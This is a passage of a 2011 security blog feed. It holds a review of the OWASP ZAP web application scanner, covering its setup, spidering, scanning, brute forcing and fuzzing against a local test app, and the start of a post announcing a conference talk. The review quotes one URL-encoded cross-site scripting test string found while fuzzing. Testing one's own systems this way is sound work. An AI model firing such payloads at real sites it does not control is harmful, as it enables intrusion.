envisaged.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Anyone and everyone is welcome to contribute to ZAP, andnot necessarily coding only; they welcome help with testing, documentation,localization, issues identification and enhancement requests. Help spread theword as well via articles, reviews, videos, blogs, Twitter, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;ZAP is also one of the few open source security tools tobe fully internationalized. It has been translated into 10 languages and downloadstatistics indicate that approximately half of the ZAP users worldwide arelikely to be non-native English speakers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;ZAP is intended to provide everything that you need toperform a penetration test on a web application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;If you are new to web application security then it mightbe the only security tool you need. However, if you're an experiencedpenetration tester be sure to include it as one of the many tools in yourtoolbox.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;As a result, the development team is trying to make it aseasy as possible to integrate ZAP with other tools. They provide a way toinvoke other applications from within ZAP passing across the current context.In version 1.3 they introduced an API which allows the core ZAP functionalityto be invoked by a REST API, and will be extended to cover even more of ZAP'sfeatures in future releases.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;This is an ideal way for other applications to directlydrive ZAP, and can be used when ZAP is running in 'headless' mode (i.e. withoutthe UI).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;They've also put together a &lt;a href="http://code.google.com/p/bodgeit/wiki/RegTests" target="_blank"&gt;POC&lt;/a&gt; showing how ZAP can beused by developers to include basic security tests in their continuousintegration framework and be alerted to potential security vulnerabilitieswithin hours of checking code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Simon and team don’t believe in reinventing the wheel,which is why they always seek high quality open source components to reusebefore implementing a new feature from scratch.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;As such, the brute force/forced browsing support isprovided via &lt;a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project" target="_blank"&gt;DirBuster&lt;/a&gt;&amp;nbsp;andfuzzing makes use of the &lt;a href="https://www.owasp.org/index.php/JBroFuzz" target="_blank"&gt;JBroFuzz&lt;/a&gt;&amp;nbsp;libraries (both OWASP projects).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Amongst the more advanced features that users might notbe aware of is that ZAP keeps track of all of the anti-CSRF tokens it finds. Iffuzzing a form with an anti CSRF-token in it, ZAP can regenerate the token foreach of the payloads you fuzz with. There’s also an experimental option thatallows this to be turned on when using the active scanner as well. I can saythat quality CSRF testing is not commonplace among ZAP’s web applicationtesting contemporaries.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;For ZAP version 1.4 the development team has decided tofocus on:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Improving the active and passive scanners&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Improving stability (especially for large sites)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Session token analysis&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;In July 2011 ZAP was evaluated and designated as a'stable' OWASP project, the highest level currently available. Further, OWASPprojects are now being restructured; ZAP has been designated as one of thesmall number of 'flagship' projects. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Rightfully so; thank you Simon.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Let’s run ZAP through its paces.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;ZAP Installationand Configuration&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;ZAP is installation is very simple. Once unpacked on yourpreferred platform, invoke ZAP from the application icon or at the commandprompt via the appropriate executable. A current Java Runtime Environment is arequirement as all the executables (EXE, BAT, SH) invoke &lt;span style="font-family: 'Courier New';"&gt;java –jar zap.jar org.zaproxy.xap.ZAP&lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Most importantly ZAP, runs as a proxy. Configure yourpreferred browser to proxy via localhost and the default port of 8080. I changethe port to 8088 to avoid conflict with other proxies and services. You canchange the port under Tools &lt;span style="font-family: Wingdings;"&gt;à&lt;/span&gt;Options &lt;span style="font-family: Wingdings;"&gt;à&lt;/span&gt;Local proxy if you run multiple proxies that you bounce between duringassessments. I do and as such I use the Firefox add-on FoxyProxy to quicklydial in my proxy of choice. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;You must also generate an SSL certificate in order to useand test SSL enabled sites. You will be prompted to do when running ZAP for thefirst time.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;ZAP Use&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;In addition to the aforementioned Security RegressionTests for developers, the OWASP ZAP project offers ZAP Web ApplicationVulnerability Examples, or ZAP WAVE. Download it and drop &lt;span style="font-family: 'Courier New';"&gt;zap-wave.war&lt;/span&gt; in the webapps directoryof your favorite servlet engine. On Debian/Ubuntu systems &lt;span style="font-family: 'Courier New';"&gt;sudo apt-get install tomcat6&lt;/span&gt; will getyou in business with said servlet engine quickly. In addition to a LAMP stackon an Ubuntu 11.10 VM I run Tomcat for just such occasions. OWASP WebGoat alsoruns as a standalone test bed or via a servlet engine. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Enable ZAP, with your browser configured to proxy throughit, then navigate to the system (VM or real steel) hosting ZAP WAVE, usually onport 8080. As an example: &lt;span style="font-family: 'Courier New';"&gt;http://192.168.140.137:8080/zapwave/&lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;ZAP WAVE includes “active” vulnerabilities such ascross-site scripting and SQL injection as well as “passive” vulnerabilitiesincluding three types of information leakage and two session vulnerabilities.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;There are also pending false positives that are not yetready for primetime.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;The developers recommend that you explore the target appwith ZAP enabled as a proxy, and touch as much of it as possible beforespidering. Doing so helps ZAP find more vulns as you may cross paths with errormessages, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I typically visit the root of the application hierarchyfor a web application I wish to assess, right-click on it, select &lt;span style="font-family: 'Courier New';"&gt;Attack&lt;/span&gt;, then &lt;span style="font-family: 'Courier New';"&gt;Spider site&lt;/span&gt;. This crawls the entire site hierarchy andpopulates the tree view under the Sites tab in ZAP’s left pane as seen inFigure 1.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Lncv7VpOYYE/TrIciBgKYtI/AAAAAAAAAiA/kCn9ldMPYM8/s1600/spider.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="237" src="http://4.bp.blogspot.com/-Lncv7VpOYYE/TrIciBgKYtI/AAAAAAAAAiA/kCn9ldMPYM8/s320/spider.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;Figure 1:&lt;/b&gt; ZAP spidering&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;Crawling/spidering can have unintended side-effects on anapplication, even adding or deleting records in a database, so be advised.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;A good crawl ensures a better active scan, but beforebeginning a scan, set your Scan Policy via &lt;span style="font-family: 'Courier New';"&gt;Analyze&lt;/span&gt;&lt;span style="font-family: Wingdings;"&gt;à&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt; Scan Policy&lt;/span&gt; as seen in Figure 2. You may wish to morenarrowly scope your scan activity to just the likes of information gathering orSQL injection as seen in Figure 2.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-zYjPSemvhRQ/TrIczqzE5KI/AAAAAAAAAiQ/rlzJ1crLvBQ/s1600/policy.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="231" src="http://3.bp.blogspot.com/-zYjPSemvhRQ/TrIczqzE5KI/AAAAAAAAAiQ/rlzJ1crLvBQ/s320/policy.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;Figure 2:&lt;/b&gt; ZAP scan policy&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;Spidering and scan policyconfiguration complete, right click the root, or a specific node you wish toassess as you can choose &lt;span style="font-family: 'Courier New';"&gt;Attack &lt;/span&gt;&lt;span style="font-family: Wingdings;"&gt;à&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt; Active scansite&lt;/span&gt; or &lt;span style="font-family: 'Courier New';"&gt;Attack &lt;/span&gt;&lt;span style="font-family: Wingdings;"&gt;à&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt; Active scannode&lt;/span&gt;.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;You can also exclude a sitefrom the scope in a similar fashion.&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;A full scan of the ZAP WAVEinstance completed in very short order; results were immediate as seen inFigure 3.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-bQvMDv-Tx5Q/TrIc0RP4qQI/AAAAAAAAAiY/t7AdKgzxxP0/s1600/results.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="124" src="http://3.bp.blogspot.com/-bQvMDv-Tx5Q/TrIc0RP4qQI/AAAAAAAAAiY/t7AdKgzxxP0/s320/results.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;Figure 3:&lt;/b&gt; ZAP scan results&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;ZAP includes the expectedEncode/Decode/Hash functionality via &lt;span style="font-family: 'Courier New';"&gt;Edit&lt;/span&gt;&lt;span style="font-family: Wingdings;"&gt;à&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt; Encode/Decode/Hash&lt;/span&gt; or &lt;span style="font-family: 'Courier New';"&gt;Tools&lt;/span&gt;&lt;span style="font-family: Wingdings;"&gt;à&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt; Encode/Decode/Hash &lt;/span&gt;along with a manual editor for generating manual requests. I’ll oftenrun ZAP for nothing more than encoding, decoding, and hashing; it’s a greatutility.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;The Port Scan feature is also useful. It will select the in-scope hostby default; just click the Port Scan tab then the start button.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;The Brute Force tab is a function of the above-mentioned DirBustercomponent and includes seven dictionary lists to choose from. I ran thisagainst my full host VM rather just the servlet element and included thedictionary-list-1.0 dictionary for a simple, quick test.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Ef7z37ow7Ww/TrIdVuA5OCI/AAAAAAAAAig/ueXaVJOpTnY/s1600/DirBiuster.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="70" src="http://1.bp.blogspot.com/-Ef7z37ow7Ww/TrIdVuA5OCI/AAAAAAAAAig/ueXaVJOpTnY/s320/DirBiuster.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;Figure 4:&lt;/b&gt; ZAP DirBuster at work&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;One of my favorite ZAP features(there are many) is the Fuzzer. Per the Fuzzer component guidance:&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo2; mso-outline-level: 1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Selecta request in the Sites or History tab&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo2; mso-outline-level: 1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Highlightthe string you wish to fuzz in the Request tab&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo2; mso-outline-level: 1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Rightclick in the Request tab and select 'Fuzz...'&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo2; mso-outline-level: 1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Selectthe Fuzz Category and one or more Fuzzers&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo2; mso-outline-level: 1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Pressthe Fuzz button&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo2; mso-outline-level: 1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Theresults listed in the Fuzzer tab - select them to see the full requests andresponses.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;The fuzzer, like the scanner,includes functionality which causes ZAP to automatically regenerate the tokenswhen required&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I ran Fuzzer against &lt;a href="http://192.168.140.137:8080/zapwave/active/xss/xss-form-anti-csrf.jsp"&gt;http://192.168.140.137:8080/zapwave/active/xss/xss-form-anti-csrf.jsp&lt;/a&gt;and fuzzed the &lt;span style="font-family: 'Courier New';"&gt;anticsrf&lt;/span&gt; and &lt;span style="font-family: 'Courier New';"&gt;name&lt;/span&gt; variables as it is a recentaddition per the ZAP WAVE download site.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;As seen in Figure 5, thefuzzer offers a wider array fuzzers within a given category.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-XWKohfdFDHs/TrIczC0WWYI/AAAAAAAAAiI/nJnHipJ3dOY/s1600/fuzzer.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="223" src="http://1.bp.blogspot.com/-XWKohfdFDHs/TrIczC0WWYI/AAAAAAAAAiI/nJnHipJ3dOY/s320/fuzzer.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;FIGURE 5:&lt;/b&gt; ZAP fuzzer config&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;In the understanding thatfuzzing is the art of submitting a great deal of invalid or unexpected data toa target, you can look for variations in results such as response code (200 OK)and response times. Where normal response times per request average between 2msand 4ms for ZAP WAVE hosted on a local VM, one request in particular stood out ata 402ms response time. I checked for the string passed and cracked up.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New'; font-size: 10pt;"&gt;%3CIMG+SRC%3D%60javascript%3Aalert%28%22RSnake+says%23%23%23+%27XSS%27%22%29%60%3E&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: 10pt;"&gt;Or,courtesy of the handy ZAP decoder: &lt;/span&gt;&lt;span style="font-family: 'Courier New'; font-size: 10pt;"&gt;&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-FZm8CA-e72o/TrIfaFZ2HGI/AAAAAAAAAio/NC3nMkcSa8k/s1600/ScreenShot020.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="18" src="http://1.bp.blogspot.com/-FZm8CA-e72o/TrIfaFZ2HGI/AAAAAAAAAio/NC3nMkcSa8k/s400/ScreenShot020.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mr. &lt;a href="http://ha.ckers.org/slowloris/" target="_blank"&gt;Slowloris HTTP DoS&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 15px; line-height: 17px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;himselfcausing grind even here. ;-)&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;In Conclusion&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;ZAP deserves its status as an OWASP flagship project.Whether you’re a seasoned veteran or new to the web application security gamemake the Zed Attack Proxy part of your arsenal. I’d go so far as to say, as2011 is winding down, that ZAP feels like a likely front runner for 2011Toolsmith Tool of the Year. But that is for you to decide, dear reader. Let meknow if you agree.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Ping me via email if you have questions (russ atholisticinfosec dot org).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Cheers…until next month. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Acknowledgements&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Simon Bennetts (Psiinon) forproject feedback and details&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Axel Neumann (@a_c_neumann)for draft review&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-2591747039708012610?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/2591747039708012610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=2591747039708012610' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2591747039708012610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2591747039708012610'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/11/toolsmith-owasp-zap-zed-attack-proxy.html' title='toolsmith: OWASP ZAP - Zed Attack Proxy'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-uf20gfOZeEA/TrIcCi9RQdI/AAAAAAAAAh4/C3ZCXAj-tGc/s72-c/title.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-8121965023351191555</id><published>2011-10-15T15:39:00.000-07:00</published><updated>2011-10-16T13:05:16.653-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='issa'/><category scheme='http://www.blogger.com/atom/ns#' term='Russ McRee'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Presenting OWASP Top 10 Tools &amp; Tactics at ISSA International</title><content type='html'>The &lt;a href="https://www.issa.org/conf/?p=105" target="_blank"&gt;ISSA International Conference&lt;/a&gt; is coming up this week in Baltimore; I'll be presenting &lt;a href="https://www.issa.org/conf/?p=396" target="_blank"&gt;OWASP Top 10 Tools and Tactics&lt;/a&gt; based on work for the InfoSecInstitute &lt;a href="http://resources.infosecinstitute.com/owasp-top-10-tools-and-tactics/" target="_blank"&gt;article&lt;/a&gt; of the same name.&lt;br /&gt;If you're in Baltimore and planning to attend, stop by Friday, October 21 at 2:20pm in Room 304.&lt;br /&gt;I'll be discussing and demonstrating tools such as &lt;a href="http://portswigger.net/" target="_blank"&gt;Burp Suite&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/tamper-data/" target="_blank"&gt;Tamper Data&lt;/a&gt;, &lt;a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project" target="_blank"&gt;ZAP&lt;/a&gt;, &lt;a href="http://sourceforge.net/projects/samurai" target="_blank"&gt;Samurai WTF&lt;/a&gt;, &lt;a href="http://sourceforge.net/apps/mediawiki/watobo/index.php?title=Main_Page" target="_blank"&gt;Watobo&lt;/a&gt;, &lt;a href="http://websecuritytool.codeplex.com/" target="_blank"&gt;Watcher&lt;/a&gt;, &lt;a href="http://cirt.net/nikto2" target="_blank"&gt;Nikto&lt;/a&gt;, and others as well as tactics for their use as part of &lt;a href="http://www.microsoft.com/security/sdl/default.aspx" target="_blank"&gt;SDL&lt;/a&gt;/&lt;a href="https://www.owasp.org/index.php/Security_Code_Review_in_the_SDLC" target="_blank"&gt;SDLC&lt;/a&gt; best practices.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;If you’ve spent any time defending web applications as a security analyst, or perhaps as a developer seeking to adhere to SDLC practices, you have likely utilized or referenced the OWASP Top 10. Intended first as an awareness mechanism, the Top 10 covers the most critical web application security flaws via consensus reached by a global consortium of application security experts. The OWASP Top 10 promotes managing risk in addition to awareness training, application testing, and remediation. To manage such risk, application security practitioners and developers need an appropriate tool kit. This presentation will explore tooling, tactics, analysis, and mitigation.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hope to see you there.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;div 